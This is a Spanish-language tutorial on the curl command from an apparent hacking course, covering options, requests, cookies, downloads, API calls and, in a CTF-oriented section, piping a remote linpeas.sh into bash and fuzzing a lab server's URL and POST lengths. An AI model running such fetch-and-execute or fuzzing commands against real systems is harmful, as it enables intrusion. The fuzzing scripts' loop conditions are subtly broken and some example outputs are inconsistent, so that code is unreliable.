Bienvenidos a este capítulo del Curso de Linux para Hackers – El Comando curl. Comparte este articulo y síguenos para recibir más capítulos y cursos gratis.
Esta guía es parte de un curso mucho más grande en donde te enseñamos a convertirte en hacker de 0 a 100. Desde los conocimientos más básicos hasta conseguir empleo.
En esta guía veremos desde cero un tema tan amplio como es Linux y lo haremos desde el punto de vista del hacking y la ciberseguridad.
Para saber más comente a continuación, respondemos todos y cada uno de los comentarios.
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Lo que aprenderás en este artículo
- Introducción al comando
curl
y sus usos básicos:- Entender qué es
curl
y su importancia para transferir datos a través de varios protocolos. - Conocer
libcurl
, la biblioteca detrás decurl
, que ofrece soporte para múltiples protocolos de red.
- Entender qué es
- Opciones y parámetros principales de
curl
:- Aprender las opciones y banderas más utilizadas de
curl
para realizar diferentes tipos de solicitudes HTTP (GET, POST, etc.). - Saber cómo gestionar cookies, encabezados HTTP y datos de formularios con
curl
.
- Aprender las opciones y banderas más utilizadas de
- Aplicaciones prácticas y ejemplos de uso de
curl
:- Realizar solicitudes básicas y avanzadas, incluyendo descargas de archivos, autenticación, y manipulación de cookies y encabezados.
- Ejecutar scripts para automatizar consultas
curl
en diferentes escenarios de hacking ético y pruebas de seguridad.
- Uso avanzado de
curl
en la línea de comandos:- Exploración de comandos de fuzzing y pruebas automatizadas con
curl
en Bash. - Cómo interactuar con APIs y realizar solicitudes de datos JSON o autenticación basada en API.
- Exploración de comandos de fuzzing y pruebas automatizadas con
El Comando curl en Linux
El comando curl de Linux se utiliza para descargar o cargar datos a un servidor a través de protocolos compatibles como HTTP, FTP, IMAP, SFTP, TFTP, IMAP, POP3, SCP, etc. Es una utilidad remota, por lo que funciona sin interacción del usuario.
La transferencia de datos de un lugar a otro es una de las tareas más importantes y utilizadas de un sistema informático. Sin embargo, existen muchas herramientas GUI disponibles para la transferencia de datos. Pero, cuando se trabaja en la línea de comandos, se vuelve un poco complicado. La utilidad curl nos permite transferir datos a través de la línea de comandos.
Curl ofrece una gran cantidad de trucos útiles, como reanudación de transferencia de archivos, cookies, conexiones SSL, publicación HTTP, carga FTP, autenticación de usuarios, compatibilidad con proxy y más. Curl está mecanizado por libcurl para todos los aspectos relacionados con la transferencia.
¿Qué es libcurl?
libcurl es una biblioteca de transferencia de URL gratuita del lado del cliente. Admite SMB, SMTP, SCP, RTMP, RTSP, POP3, MQTT, LDAP, Kerberos, IMAP, HTTPS, túnel de proxy HTTP, HTTP PUT, HTTP POST, HTTP/1, Gopher, FTPS, FTP, DICT y cookies. La biblioteca también admite autenticación de usuario más contraseña, servidores proxy, LDAPS, certificados HTTPS, carga basada en formularios HTTP, carga FTP, reanudación de transferencia de archivos, TFTP, Telnet, SFTP y esquema de URL de archivo.
libcurl es compacto. Crea y funciona de forma idéntica en varias plataformas, incluidas Microsoft Windows, UnixWare, Ultrix, Tru64, Symbian, Solaris, RISC OS, QNX Neutrino, OS/2, OpenBSD, NetWare, NetBSD, macOS, Linux, IRIX, iOS, HURD, HP-UX, FreeBSD, DOS, Darwin, OpenVMS, BlackBerry 10, BlackBerry Tablet OS, BeOS, Android, AmigaOS y AIX.
La biblioteca libcurl es compatible con IPv6, es segura para subprocesos y gratuita. También hay enlaces disponibles para más de 50 lenguajes, incluidos Python, PHP, Java y C/C++.
La biblioteca libcurl es compatible con SChannel, gskit en IBM i, NSS, mbed TLS, GnuTLS en Windows, Secure Trasport en iOS y macOS, TLS/SSL a través de OpenSSL, rustls, BearSSL, wolfSSL, AmiSSL, libressl y Boringssl.
Sintaxis:
La sintaxis básica para utilizar curl es la siguiente:
curl [opciones] [URL...]
De la sintaxis anterior,
URL:
La sintaxis de la URL es una URL general que depende del protocolo. Podemos especificar varias URL de la siguiente manera:
http://site.{uno,dos,tres}.com
Opciones de curl:
El comando curl admite las siguientes opciones de línea de comandos:
–abstract-unix-socket <ruta>: se utiliza para conectarse a través de un socket de dominio Unix abstracto en lugar de una red.
–anyauth: se utiliza para ordenar a curl que autentique el método por sí mismo para utilizar el método más seguro. Esta utilidad es una utilidad opcional «–basic, –digest, –ntlm y negotiate», que se utiliza para establecer un método de autenticación específico.
-a, –append: se utiliza para cargar archivos. Agrega el archivo en lugar de sobrescribirlo. Si el archivo indicado no existe en el servidor, creará uno.
–basic: especifica el uso de la autenticación básica HTTP . Es la opción predeterminada del comando curl. Es útil para anular las configuraciones anteriores.
–cacert <archivo>: se especifica para usar el archivo de certificado en particular para verificar el par. Los archivos pueden tener varios certificados de CA. El formato estándar para los certificados es PEM, por lo que todos los certificados deben estar en él.
–capath <dir>: Se especifica para usar el directorio en particular para verificar el par. Podemos especificar múltiples rutas separándolas con dos puntos (:) como «ruta: ruta2:ruta3». El formato estándar para los certificados es PEM, por lo que todos los certificados deben estar en él.
–cert-status: se utiliza para verificar el estado del certificado del servidor. Utiliza la solicitud de estado del certificado o el protocolo TLS de OCSP.
–cert-type <type>: especifica el tipo de certificado curl proporcionado. Estos certificados pueden estar en formato PEM, DER y ENG. El valor predeterminado es PEM. Si se especifica varias veces, curl tomará el último valor.
-E, –cert <certificado[: contraseña]>: se especifica para utilizar el archivo de certificado de cliente al obtener un archivo a través de cualquier protocolo basado en SSL, como HTTPS, FTPS, etc.
–ciphers <lista de cifrados>: Se utiliza para seleccionar los cifrados a utilizar en la conexión.
–compressed-ssh: se utiliza para habilitar la compresión SSH incorporada. Esta opción se considerará una solicitud del servidor, por lo que el servidor puede aceptarla o no.
–compressed: se utiliza para solicitar una respuesta comprimida mediante los algoritmos curl y guarda el documento sin comprimir. Esta opción enviará un informe sobre la codificación curl no compatible.
-K, –config <archivo>: se utiliza para describir un archivo de texto para leer argumentos de curl. curl utilizará los argumentos de la línea de comandos del archivo de texto.
–connect-timeout <segundos>: se utiliza para especificar el tiempo máximo en segundos para el tiempo de espera de la conexión curl.
–connect-to <HOST1:PORT1:HOST2:PORT2>: se utiliza para crear una solicitud al par de host y puerto indicado; de lo contrario, se conectará al siguiente par. Esta opción es una herramienta útil para realizar solicitudes directas a un servidor específico.
-C, –continue-at <offset>: se utiliza para continuar o reanudar una transferencia de archivo anterior en el desplazamiento indicado.
-c, –cookie-jar <nombre_archivo>: Se utiliza para especificar un archivo particular en el que queremos escribir todas las cookies después de una operación exitosa.
-b, –cookie <data>: Se utiliza para reenviar datos al servidor HTTP en el encabezado de la cookie.
–create-dirs: Se utiliza junto con la opción ‘-o?’, creará la jerarquía de directorio local requerida.
–crlf (FTP SMTP): se utiliza para convertir LF a CRLF en la carga. Es una herramienta muy útil para MVS (OS/390).
–crlfile <archivo>: Se utiliza para especificar (en formato PEM) una Lista de Revocación de Certificados.
–data-ascii <data>: Es un alias para la opción ?-d?.
–delegation <NIVEL>: Se utiliza para establecer el NIVEL para reconocer al servidor lo que tiene permitido delegar cuando se trata de credenciales de usuario.
–digest: Se utiliza para habilitar la autenticación HTTP Digest.
-q, –disable: si se usa como primer argumento, ignorará el archivo de configuración curlrc.
–dns-interface <interfaz>: Se utiliza para reconocer al servidor para enviar las solicitudes DNS salientes.
–dns-servers <direcciones>: se utiliza para especificar los servidores DNS en lugar de los servidores predeterminados.
-f, –fail: se utiliza para hacer que curl falle silenciosamente ante errores del servidor.
-F, –form <nombre=contenido>: Se utiliza para emular un formulario completado enviado por el usuario.
-P, –ftp-port <dirección>: se utiliza para revertir los roles de escucha predeterminados al conectarse con FTP.
–ftp-ssl-ccc-mode <activo/pasivo>: Se utiliza para establecer el modo CCC.
-G, –get: Se utiliza para especificar datos con la opción ?-d? que se utilizarán en una solicitud HTTP GET en lugar de una solicitud POST.
-h, –help: Se utiliza para mostrar el manual de ayuda con una breve descripción del uso y opciones de soporte.
-0, –http1.0: Se especifica para utilizar la versión HTTP 1.0.
–ignore-content-length: se utiliza para ignorar el encabezado Content-Length.
-i, –include: Se utiliza para incluir los encabezados de respuestas HTTP.
-4, –ipv4: Se utiliza para resolver nombres en direcciones IPv4.
-6, –ipv6: Se utiliza para resolver nombres en direcciones IPv6.
Protocolos de curl
Curl admite varios protocolos:
- DICT: Nos permite buscar palabras únicamente con diccionarios.
- FTP (S): Curl admite el protocolo FTP mediante una gran cantidad de herramientas y ajustes, con o sin TLS.
- ARCHIVO: Nos permite escribir y leer el archivo local. Curl no permite acceder remotamente a file://URL, pero funcionará cuando esté activo en Microsoft Windows con el enfoque UNC nativo.
- GOPHER (S): Recupera archivos.
- HTTP (S): Curl admite HTTP mediante numerosas variaciones y opciones. Puede hablar en las versiones HTTP 0.9, 1.0, 1.1, 2 y 3 según la línea de comandos y las opciones de compilación precisas.
- IMAP (S): Curl descarga los correos electrónicos para nosotros con el protocolo de lectura de correo. Con o sin TLS.
- LDAP (S): Curl puede implementar la búsqueda de directorio para nosotros con o sin usar TLS.
- MQTT: Curl es compatible con la versión 3 de MQTT. Descargar en MQTT es lo mismo que «suscribirse» a cualquier tema, y publicar/subir contenido es lo mismo que «publicar» en cualquier tema. MQTT no es compatible con TLS.
- POP3 (S): Descargar a través de un servidor pop3 representa recibir correo sin o con TLS.
- RTMP (S): El RTMP o Protocolo de mensajería en tiempo real se utiliza principalmente para la transmisión de medios por servidor.
- RTSP: Curl admite las descargas 1.0 de RTSP.
- SCP: Curl admite la versión de transferencia de dos scp de SCP.
- SFTP: Curl admite SFTP a través de la segunda versión de SSH.
- SMB (S): Curl admite la versión 1 de SMB para descarga y carga.
- SMTP (S): Subir contenidos a cualquier servidor SMTP significa transferir un correo electrónico sin o con TLS.
- TELNET: Al informar a curl que traiga una URL de telnet se inicia una sesión interactiva en la que transfiere lo que lee por stdin y da como resultado lo que le transfiere el servidor.
- TFTP: Curl puede implementar cargas y descargas TFTP.
Instalación del comando curl
El comando curl viene con la mayoría de las distribuciones de Linux . Pero, si el sistema no trae curl por defecto, deberá instalarlo manualmente. Para instalar curl, ejecute los siguientes comandos:
sudo apt install curl
Verifique la instalación ejecutando el siguiente comando:
curl --version
El comando anterior mostrará la versión instalada del comando curl.
Nota: Los sitios web activos en los siguientes comandos funcionan al momento de escribir este artículo, pero las URL y la tecnología pueden cambiar en cualquier momento. Demos un vistaso rápido de lo que puedes ahacer:
Parámetro GET
Las variables HTTP GET se pueden configurar agregándolas a la URL.
curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Parámetros POST
Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Cookies
cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:
$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
También puedes especificar tus propias cookies usando el parámetro -b:
$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php
Agentes de usuario de cURL
$ curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" http://10.10.10.10/login.php
Guarda la respuesta del servidor en un archivo.
$ curl -o payload.sh http://10.10.10.10/payload.sh
Descarga un archivo a la carpeta actual
$ curl -O http://10.10.10.10/payload.zip
Sigue HTTP/1.1 302 redirecciones encontradas
curl -L http://10.10.10.10/profile.php
Encabezados de respuesta de salida de cURL a STDOUT
$ curl -i http://10.10.10.10/profile.php
cURL ve información detallada de depuración (encabezados de respuesta y otros detalles de depuración – STD2)
$ curl -v http://10.10.10.10/profile.php
Buscando en la web
El uso más sencillo de curl es la visualización de sitios web y archivos en la línea de comandos, que es también la forma en que la mayoría de los estudiantes de informática aprenden sobre curl en primer lugar.
Las opciones curl (también conocidas como banderas ) comienzan con un guión (-) o dos (–) y toman argumentos que son cadenas, URL o rutas de archivo.
DOMINIO | DESCRIPCIÓN |
---|---|
curl https://achirou.com/ | Devuelve el archivo fuente de una URL https://achirou.com/ |
curl --list-only "http://socialdance.stanford.edu/music/" | Lista de contenidos del directorio http://socialdance.stanford.edu/music/ |
curl -l | Abreviación decurl --list-only |
curl --location "https://aveclagare.org/mp3" | Redirigir la consulta según lo especificado en el código de respuesta de estado HTTP 3xx. Este directorio URL, https://aveclagare.org/mp3 , no devuelve la lista de archivos MP3 usando el curl --list-only comando, pero sí con curl --location . |
curl -L | Abreviación de curl --location |
curl --fail-early "ftp://ftp.corel.com" | Falla rápidamente al resolver ftp://ftp.corel.com |
curl --head "https://achirou.com/" | Obtener encabezados HTTP de la URL https://achirou.com/ |
curl -I | Abreviación decurl --head |
curl --head --show-error "https://achirou.com/holamundo/" | Compruebe si el sitio https://achirou.com/holamundo/ está inactivo |
curl --head --location "https://lnkd.in/dQ2hhwz3" | grep Location | Expanda una URL acortada o disfrazada: https://lnkd.in/dQ2hhwz3 redirige a una entrada de este blog. Esto también es útil cuando desea descubrir los sitios web reales detrás de los hipervínculos. |
Descargando archivos
Los siguientes comandos son útiles cuando deseas extraer contenido de sitios web. Los siguientes comandos devuelven resultados significativos al momento de escribirlos. Cambie los parámetros para adaptarlos a sus propósitos.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --output hello.html https://achirou.com/ | Envía la URL https://achirou.com/ a un archivo hello.html |
curl -o | La abreviatura de curl --output. -o solo funciona si se coloca antes del parámetro de la URL de destino. |
curl --remote-name "https://core.ac.uk/download/pdf/71450528.pdf" | Descargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y guarde el archivo sin cambiar su nombre. |
curl -"https://core.ac.uk/download/pdf/71450528.pdf “ --output notas_hack.pdf | Descargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y cámbiele el nombre. notas_hack.pdf Alternativamente, puede reemplazarlo --output con > . Reemplazar --output con -o no funciona aquí. |
curl --remote-name --continue-at - "https://core.ac.uk/download/pdf/71450528.pdf" | Continuar con la descarga parcial de un archivo https://core.ac.uk/download/pdf/71450528.pdf |
curl "https://en.wikipedia.org/wiki/{Linux,Windows,OSX}" --output "file_#1.html" | Descargue archivos desde múltiples ubicaciones y asígneles un nombre según el formato. file_(operating system).html |
curl "https://www.gutenberg.org/files/[158-161]/[158-161]-0.{txt,zip}" --output "bk#1_#2.#3" | Descargar una secuencia de archivos y resultados. bk158_158.txt, bk158_158.zip, …, bk161_161.zip |
curl --location http://socialdance.stanford.edu/music/ | grep '.mp4' | cut -d \" -f 8 | while read i; do curl http://socialdance.stanford.edu/music/"${i}" -o "${i##*/}"; done | Descargue todos los archivos MP4 desde la URL http://socialdance.stanford.edu/music/ . Aquí, use grep para filtrar los archivos MP4, cut para encontrar la ruta a los archivos requeridos (el delimitador es ” y la cadena de ruta estaba en el octavo delimitador), un while bucle con curl ayuda a descargar los archivos de forma recursiva.Necesitará modificar los comandos grep y cut para descargar otros tipos de archivos y que localice hipervínculos relevantes en el código fuente HTML de la URL que especifique. |
Comandos GET curl
Las variables HTTP GET se pueden configurar agregándolas a la URL.
$ curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Utilice estos comandos para realizar una solicitud GET mediante curl. Los comandos curl GET pueden requerir que pases claves de autorización a través de la bandera --header
.
También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --request GET "https://achirou.com/" | Obtenga la fuente HTML de la URL https://achirou.com/ y envíela a la consola del terminal. |
curl -X | Abreviación decurl --request |
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --header 'Content-Type: application/json' | Obtenga todos los documentos de MongoDB de la viewdata-kqgls con la cadena secreta proporcionada y el encabezado como parámetros de consulta. El resultado esperado es un objeto JSON que contiene todos los documentos. |
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo&id=636b5046e54ce11139fd8b96' --header 'Content-Type: application/json' | Obtenga un documento MongoDB de la viewdata-kqgls con el ID, la cadena secreta y el encabezado del tipo de contenido proporcionados como parámetros de consulta.El resultado esperado es el documento, Get a MongoDB document from the viewdata-kqgls app with the given ID, secret string, and content type header as query parameters.The expected result is the document, if it exists:{“_id”:”636b5046e54ce11139fd8b96″,”name”:” Alvaro “,”age”:37,”greeting”:”Greetings, everyone.”} |
Comandos POST curl
Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Utilice estos comandos para realizar una solicitud POST utilizando curl. Los comandos curl POST pueden requerir que el --header
indicador pase claves de autorización.
También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --header | Pasar un encabezado a la URL del servidor |
curl -H | Abreviación decurl --header |
curl --request POST "https://achirou.com/ " -d 'some data' | Obtenga la fuente HTML de la URL https://achirou.com/ |
curl -X | Abreviación decurl --request |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/insertOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","document": { "name": "Alvaro", "age": 37, "greeting": "Greetings, everyone." }}' | Cargue a través de la API de datos de MongoDB el objeto Javascript dado a una base de datos y a una colección denominada curlhacks . El resultado esperado: {"insertedId":"636b5046e54ce11139fd8b96"} esto significa que curlhacks se ha registrado el nuevo objeto Javascript como un documento MongoDB con el ID proporcionado. |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/findOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "name": "Alvaro" }}' | Solicite a través de la API de datos de MongoDB la base de datos y la colección, ambas denominadas curlhacks , para un documento con el par clave-valor {"name": "Alice Bob"} .El resultado esperado es el documento solicitado: {"document":{"_id":"636b5046e54ce11139fd8b96","name":"Alice Alvaro","age":37,"greeting":"Greetings, everyone."}} |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/deleteOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "_id": { "$oid": "636b4f88fd82bd55d90962c6" } }}' | Elimine a través de la API de datos de MongoDB un documento con el ID proporcionado de la base de datos y la colección, ambos denominados curlhacks .El resultado esperado: {"deletedCount":1} esto significa que curlhacks se ha eliminado un documento de MongoDB, concretamente el especificado. |
Interacción API
Los siguientes comandos pueden ayudarle a automatizar las solicitudes de consultas web, como los envíos de formularios de Google.
DOMINIO | DESCRIPCIÓN |
---|---|
curl "https://gitlab.com/api/v4/projects" | Consultar un punto final API |
curl --header "Auth-Token:$DB_APP_TOKEN" "https://example.com/api/v3/endpoint" | Pase un encabezado a la URL de un servidor. Un encabezado es un campo de una solicitud o respuesta HTTP que pasa contexto y metadatos adicionales sobre la solicitud o respuesta. En este ejemplo, el encabezado es un token de autorización. |
curl -H | Abreviación decurl --header |
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | Envíe datos sin procesar codificados en URL "Alvaro" a un punto final de API, en este caso un formulario de Google. |
curl -d | Abreviación decurl --data |
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.html | Envíe datos sin procesar codificados en URL "Alvaro" a un punto final de API, en este caso un formulario de Google, y envíelos a los datos de salida.html devueltos por el servidor. |
curl --form "emailAddress=test@myemail.com" --form "submit=Submit" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.html | Emule el envío de una dirección de correo electrónico a un punto final API (formulario de Google aquí) y luego presione el botón Enviar. El archivo de salida, output.html tendrá un campo de dirección de correo electrónico completo. |
curl -F | Abreviación decurl --form |
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.html | Envíe a un punto final API (formulario de Google aquí) el contenido del archivo /Users/user1/Downloads/playlist.m3u del parámetro entry.123456789 . El símbolo < aquí significa que está enviando datos al servidor, a diferencia de > para los datos que recibe del servidor. Puede encontrar los parámetros del formulario entry.123456789 (el número no puede tener nueve dígitos) utilizando el Inspector de su navegador. En los navegadores basados en Chrome, haga clic derecho en la página y seleccione “Inspeccionar” para ver el Inspector. El archivo de salida, output.html mostrará el contenido del archivo en el campo correspondiente. |
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" --form "emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | Envíe más de un dato al punto final de API determinado. Este comando envía el correo electrónico y el archivo de lista de reproducción especificados. La salida de este comando estará en la terminal. |
curl --data "entry.123456789=</Users/user1/Downloads/playlist.m3u&emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | De manera similar a lo anterior, envíe más de un dato al punto final de API determinado. Este comando envía el correo electrónico y la cadena de datos sin procesar " </Users/user1/Downloads/playlist.m3u" .La salida de este comando estará en la terminal. |
curl --form "input=@pic1.jpg" "https://www.iloveimg.com/resize-image" > output.html | Envíe un archivo /Users/user1/Downloads/pic1.jpg como datos de formulario al punto final de API determinado. Ambos comandos son equivalentes. Envían un archivo de imagen a https://www.iloveimg.com/resize-imag. Utilice @ si el archivo está en el directorio de trabajo actual (obtenido a través de pwd ); No utilice @ si proporciona la ruta completa del directorio del archivo.El archivo de salida, output.html mostrará las opciones de cambio de tamaño de imagen devueltas por la API. |
Cookies
cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:
$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
También puedes especificar tus propias cookies usando el parámetro -b:
$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php
Parece que la sola acción de enviar cookies al sitio web de destino no afecta el diseño HTML del sitio web. Sin embargo, curl admite los siguientes métodos:
DOMINIO | DESCRIPCIÓN |
---|---|
curl --cookie "registered=yes" | Enviar "registered=yes" como cookie |
curl --cookie "name=Alvaro;email=test@myemail.com" | Enviar “nombre=Alvaro ” y "email=test@myemail.com" como cookies |
curl --cookie import_cookies.txt | Enviar el contenido de import_cookies.txt como cookie(s).Como la mayoría de los navegadores ya no admiten el “Set-Cookie:” prefijo, formatee sus cookies en el archivo como:key1=value1;key2=value2 |
curl -b | Abreviación de--cookie |
curl --cookie-jar mycookies.txt | Escriba cookies mycookies.txt después de ejecutar la operación curl en otras banderas |
curl -c | Abreviación de--cookie-jar |
curl --dump-header headers_and_cookies.txt https://achirou.com/ | Envíe encabezados HTTP y datos de cookies de https://achirou.com/ aheaders_and_cookies.txt |
curl -D | Abreviación decurl --dump-header |
curl Script
Puede utilizar comandos curl en scripts bash. Aquí hay algunos scripts de ejemplo que involucran comandos curl:
EJEMPLO | DESCRIPCIÓN |
---|---|
paquete-instalación-curl.sh | Instalar paquetes con curl |
curl-url-time.sh | Consultar el tiempo de respuesta de un sitio web |
formato curl-json.sh | Embellecer la salida json para la respuesta curl |
curl-remote-scripts.sh | curl ejecutar scripts remotos |
curl avanzado
Aquí hay algunos comandos para ajustar sus operaciones de rizo.
DOMINIO | DESCRIPCIÓN |
---|---|
curl -h | Mostrar comandos de ayuda |
curl --version | Mostrar versión rizo |
curl -v ftp://ftp.afip.com/ | Obtenga resultados detallados mientras se conecta a la URL ftp://ftp.afip.com/ . Puede usar este indicador -v junto con otros indicadores como --head, --location . |
curl --trace ftp_X.txt https://twitter.com/ | Obtenga detalles de los paquetes capturados en la conexión a la URL https://twitter.com/ |
curl -s https://twitter.com/ > twitter.html | Descargue la URL https://twitter.com/ en modo silencioso, sin mostrar el progreso |
curl -L "https://twitter.com/search" --connect-timeout 0.1 | Especifique el tiempo máximo en segundos (0,1 segundos en este ejemplo) permitido para conectarse a la URL https://twitter.com/search |
curl -s -w '%{remote_ip} %{time_total} %{http_code} \n' -o /dev/null https://achirou.com/ | Devuelve los valores de los parámetros especificados como una cadena '%{remote_ip} %{time_total} %{http_code} \n' en la salida del terminal y suprime todas las demás salidas del sistema. |
curl -r 0-99 https://achirou.com/ | Obtenga los primeros 100 bytes de la URL https://achirou.com/ |
curl -r -500 https://achirou.com/ | Obtenga los últimos 500 bytes de la URL https://achirou.com/ |
curl -r 0-99 ftp://ftp.afip.com | Obtenga los primeros 100 bytes de una URL FTP. curl solo admite rangos con posiciones iniciales y finales explícitas. |
curl -m 0.1 | Especifique el tiempo máximo de operación en segundos (0,1 s aquí) |
Ejemplo de solicitud curl
Concluyamos este artículo con un truco de solicitud POST curl. Proceda bajo su propio riesgo.
DOMINIO | DESCRIPCIÓN | . |
---|---|---|
curl -X POST https://textbelt.com/text --data-urlencode phone='+[area code][phone number]' --data-urlencode message=' Hola Mundo =).' -d key=textbelt | Envía un mensaje de texto SMS gratuito a un número de teléfono en formato E.164 a través de https://textbelt.com/ con la clave API textbelt . Si tiene una clave API personalizada, reemplace ” textbelt ” con ella. |
Obtener el contenido de la URL especificada
Para obtener el contenido de una URL específica , ejecute el comando curl, seguido de la URL. Considere el siguiente comando:
curl https://achirou.com
El comando anterior obtendrá los datos de la página especificada. Observe la siguiente captura de pantalla del resultado:
En el resultado anterior, podemos ver que se están obteniendo los datos de la página de la URL indicada. Para detener la ejecución, presione las teclas CTRL+C.
Guardar datos en un archivo específico
Para guardar los datos en un archivo específico, pase la opción ‘-o’ seguida del directorio, el nombre del archivo y la URL de la siguiente manera:
curl -o <directorio>/<nombre de archivo> <URL>
Considere el siguiente comando:
curl -o alvaro.html https://achirou.com
El comando anterior guardará los datos de la página en el archivo ‘alvaro.html’. Observe el resultado que se muestra a continuación:
Desde el comando anterior, podemos ver la cantidad total de datos descargados, datos recibidos, tiempo promedio y algunas otras estadísticas sobre los datos.
Para verificar los datos descargados, abra el archivo ejecutando el comando cat
cat alvaro.html
Considere la siguiente instantánea de salida:
Consulta de encabezados HTTP
Los encabezados HTTP contienen información adicional que permite al servidor web descargar esta información. Para consultar los encabezados HTTP de un sitio web, ejecute el comando con la opción ‘-I’ de la siguiente manera:
curl -I https://achirou.com
El comando anterior producirá el siguiente resultado:
Hackear con cURL
Ahora que hemos cubierto la sintaxis básica y los casos de uso, aquí hay algunas aplicaciones de hacking prácticas que son muy útiles en Hackthebox o cajas CTF.
Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente a bash:
$ curl -sSk "http://10.10.10.10/linpeas.sh" | bash
Atacar un formulario de inicio de sesión con cURL
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Creando nuevos usuarios con cURL
$ curl --data "name=test&email=test@test.com&password=test" http://10.10.10.10/newuser.php
Fuzzing servidores web con cURL
A menudo, al realizar una evaluación de un servidor web, intentaremos desencadenar condiciones de error que proporcionarán información más profunda sobre los procesos y el software subyacentes. cURL puede ser una poderosa herramienta de fuzzing para generar estos mensajes de error de casos extremos.
Fuzzing con límites de longitud de URI / GET de longitud de parámetro con cURL
El siguiente script se puede utilizar para crear un servidor web con una URL larga, realizar un seguimiento de los cambios en la salida y escribir la salida en un archivo. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Puede modificar la URL para difuminar un URI o un parámetro GET.
Aquí está el script de bash shell:
#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${1}${fuzz}"
echo "${i}" | { tr -d '\n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc ${4}; }
done
A continuación se muestra un ejemplo de cómo se ve en ejecución:
./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9 31 274 output.txt
...
...
100000 11 37 343 output.txt
100001 11 37 343 output.txt
100002 11 37 343 output.txt
100003 11 37 343 output.txt
100004 11 37 343 output.txt
100005 11 37 343 output.txt
Fuzzing límites de longitud del parámetro POST con cURL
El siguiente script se puede utilizar para modificar los parámetros POST de un servidor web y escribir la salida en un archivo y realizar un seguimiento de los cambios en esa salida. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash.
Aquí está el script de bash shell:
#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath> <Post data: var=value&var2=valuefuzz>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${5}${fuzz}"
echo "${i}" | { tr -d '\n' ; curl "${1}" -o ${4} -d "${5}${fuzz}" 2>/dev/null | wc ${4}; }
done
A continuación se muestra un ejemplo de cómo se ve en ejecución:
./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt "user=test&password=test"
args: <URL> <Start Length #> <End Length #> <Output Filepath>
